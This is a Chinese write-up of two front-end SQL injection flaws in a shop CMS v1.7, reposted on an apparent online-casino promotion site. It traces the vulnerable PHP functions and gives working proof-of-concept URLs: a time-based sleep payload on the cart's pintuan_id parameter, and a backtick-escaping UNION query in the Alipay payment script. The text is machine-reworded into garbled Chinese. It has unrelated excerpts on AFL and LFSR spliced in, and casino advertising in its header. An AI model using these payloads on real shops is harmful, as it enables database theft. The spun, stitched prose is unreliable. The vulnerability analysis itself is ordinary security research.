某商城cms v1.7 前台两处SQL注入 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

某商城cms v1.7 前台两处SQL注入

申博_新闻事件 申博 165次浏览 已收录 0个评论

AFL源码剖析条记(一)

0x00 前言 总结师傅们笔记,主要源码分析。 0x01 代码覆盖率 代码覆盖率是fuzz中基本概念,先了解清这个概念后面的插装编译等概念才好理解。 代码覆盖率是一种度量代码的覆盖程度的方式,也就是指源代码中的某行代码是否已执行;对二进制

媒介

某商城cms1.7版本中中存在两个前台注入破绽。话不多说,直接进入剖析。

SQL注入①

剖析

我们直接定位到破绽存在点 module/index/cart.php :12-32 行处。

case 'pintuan':
        $product_id = intval($_g_id);
        $product_guid = intval($_g_guid);
        $product_num = intval($_g_num);
        if (!user_checkguest()) pe_jsonshow(array('result'=>false, 'show'=>'请先登录'));
        //检测库存      
        $product = product_buyinfo($product_guid);
        if (!$product['product_id']) pe_jsonshow(array('result'=>false, 'show'=>'商品下架或失效'));
        if ($product['product_num'] < $product_num) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件"));
        //检测假造商品
        if ($act == 'add' && $product['product_type'] == 'virtual') pe_jsonshow(array('result'=>false, 'show'=>'不克不及到场购物车'));
        //检测拼团
        if ($act == 'add' && $product['huodong_type'] == 'pintuan') pe_jsonshow(array('result'=>false, 'show'=>'不克不及到场购物车'));
        if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或完毕'));
        $cart = $db->pe_select('cart', array('cart_act'=>'cart', 'user_id'=>$user_id, 'product_guid'=>$product_guid));
        if ($act == 'add' && $cart['cart_id']) {
            $sql_set['product_num'] = $cart['product_num'] + $product_num;
            if ($product['product_num'] < $sql_set['product_num']) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件"));       
            if (!$db->pe_update('cart', array('cart_id'=>$cart['cart_id']), $sql_set)) pe_jsonshow(array('result'=>false, 'show'=>'非常请从新操纵'));  
            $cart_id = $cart['cart_id'];
        }

能够看到对进入”pintuan分支后”,对参数举行了强迫转整数。那这三个参数基础不消想了。

然后继承浏览代码,注意到

if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或完毕'));

这里涌现了$_g_pintuan_id这个参数。find一下发明代码并没有对他举行任何操纵。那末这里多是存在注入的。

我们定位到pintuan_check函数处。

function pintuan_check($huodong_id, $pintuan_id = 0) {
    global $db;
    if ($pintuan_id) {
        $info = $db->pe_select('pintuan', array('pintuan_id'=>$pintuan_id));
        if (!$info['pintuan_id']) return false;
        if (in_array($info['pintuan_state'], array('success', 'close'))) return false;
    }
    else {
        $info = $db->pe_select('huodong', array('huodong_id'=>$huodong_id));
        if (!$info['huodong_id']) return false;
        if ($info['huodong_stime'] > time() or $info['huodong_etime'] <= time()) return false;
    }
    return true;
}

能够看到这个函数一样没有对$pintuan_id做过滤,直接将它拼接到了pe_select这个函数中。

虽然pintuan_check只会返回ture或许false,不会返回数据,然则我们只须要他实行了sql语句就够了。

继承跟进到pe_select。

public function pe_select($table, $where = '', $field = '*')
    {
        //处置惩罚前提语句
        $sqlwhere = $this->_dowhere($where);
        return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
    }

此时pintuan_id的值被给予到了where处。

然后挪用了_dowhere举行处置惩罚。以后将处置惩罚过的语句直接拼接到了sql语句中。

跟进_dowhere看一下它是怎样处置惩罚的。

protected function _dowhere($where)
{
    if (is_array($where)) {
        foreach ($where as $k => $v) {
            $k = str_ireplace('`', '', $k);
            if (is_array($v)) {
                $where_arr[] = "`{$k}` in('".implode("','", $v)."')";
            }
            else {
                in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'");
            }
        }
        $sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby;
    }
    else {
        $where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}";
    }
    return $sqlwhere;
}

起首pintuan_id在pintuan_check处被数组化。以是直接进入if分支。

将键名中的反引号替代为空。

以后就是一般的替代order by和设置where语句。

返回pe_select,跟进到sql_select中。

public function sql_select($sql)
    {
        $row = array();
        echo $sql;
        return $row = $this->fetch_assoc($this->query($sql));
    }

挪用了query来处置惩罚sql语句。

继承跟进query函数

public function query($sql)
    {
        $this->sql[] = $sql;
        if ($this->link_type == 'mysqli') {
            $result = mysqli_query($this->link, $sql);
            if ($sqlerror = mysqli_error($this->link)) $this->sql[] = $sqlerror;
        }
        else {
            $result = mysql_query($sql, $this->link);
            if ($sqlerror = mysql_error($this->link)) $this->sql[] = $sqlerror;
        }
        return $result;
    }

挪用了 mysqli_query语句查询。

那末pintan_id通报的全部流程就是

pintuan_check( )
db->pe_select( )
db->sql_select( )
db->query()
mysqli_query

组织poc

起首上岸一个用户,然后组织语句

pintuan_id=%27%20and%20if((1=1),sleep(5)),1)--%201

经由上述函数的处置惩罚后获得sql语句为

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

select * from `pe_pintuan` where `pintuan_id` = '' and if((1=1),sleep(5)),1)-- 1' limit 1

然则我们并没有胜利延时,百思不得其解后在当地举行测试。

某商城cms v1.7 前台两处SQL注入

一样没有延时,倏忽想到 pe_pintuan这个表是空表,那末背面的sleep不会实行。

我们须要组织一个子查询来实行语句。

某商城cms v1.7 前台两处SQL注入

胜利延时,然后在网站上举行注入实验。

http://127.0.0.1/phpshe//index.php?mod=cart&act=pintuan&guid=1&id=1&num=&pintuan_id=%27%20and%20(if((1=1),(select%20*%20from%20(select%20sleep(5))a),1))--%201

胜利注入。

SQL注入②

剖析

第二个注入是一个union注入,注入点在include/plugin/payment/alipay/pay.php:34-35处

$order_id = pe_dbhold($_g_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));

起首对$order_id做了过滤处置惩罚。

跟进看一下pe_dbhold的具体操纵。

function pe_dbhold($str, $exc=array())
{
    if (is_array($str)) {
        foreach($str as $k => $v) {
            $str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
        }
    }
    else {
        //$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
        $str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
    }
    return $str;
}

对参数举行了转义。我们没法闭合where背面的引号,然则别着急,

再跟进一下order_table函数

function order_table($id) {
   if (stripos($id, '_') !== false) {
      $id_arr = explode('_', $id);
      return "order_{$id_arr[0]}";
   }
   else {
      return "order";    
   }
}

若是提交的参数中含有下划线,会返回下划线前的内容。

不然返回字符串order。

至于pe_select 我们已剖析过了,然则若是我们挑选从table处注入,那末就不须要闭合单引号,运用反引号闭合table便可,那末就绕过了转义操纵。

public function pe_select($table, $where = '', $field = '*')
    {
        //处置惩罚前提语句
        $sqlwhere = $this->_dowhere($where);
        return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
    }

组织poc

实验组织一下团结查询注入语句

/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12--%20_

此时传入query的语句就是

select * from `pe_order_pay` where 1=1 union select user(),2,3,4,5,6,7,8,9,10,11,12--

胜利绕过了转义,而且将数据打印了出来

某商城cms v1.7 前台两处SQL注入

总结

第一处注入点若是pintuan不是空表的话会很轻易注入,存在缘由也是没有对可控参数举行过滤。

第二处注入点已做到了对参数的转义,然则因为table得值处依然运用了这个参数来猎取,而且将table直接拼接到了查询语句中,照旧造成了查询。

我以为这个cms存在这么多注入破绽的重要缘由是将平安防护函数与DB操纵函数离开界说,总是会存在挪用了DB操纵函数时忘了挪用过滤函数的状况。发起在pe_select函数等DB操纵函数中到场过滤语句。

经由过程三道CTF进修反应移位寄存器

通过三道CTF学习反馈移位寄存器 前言 流密码的关键在于设计好的伪随机数生成器。一般来说,伪随机数生成器的基本构造模块为反馈移位寄存器。反馈函数或者反馈逻辑F如果是线性函数,那么称其为线性反馈移位寄存器(LFSR)否则为非线性反馈


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明某商城cms v1.7 前台两处SQL注入
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址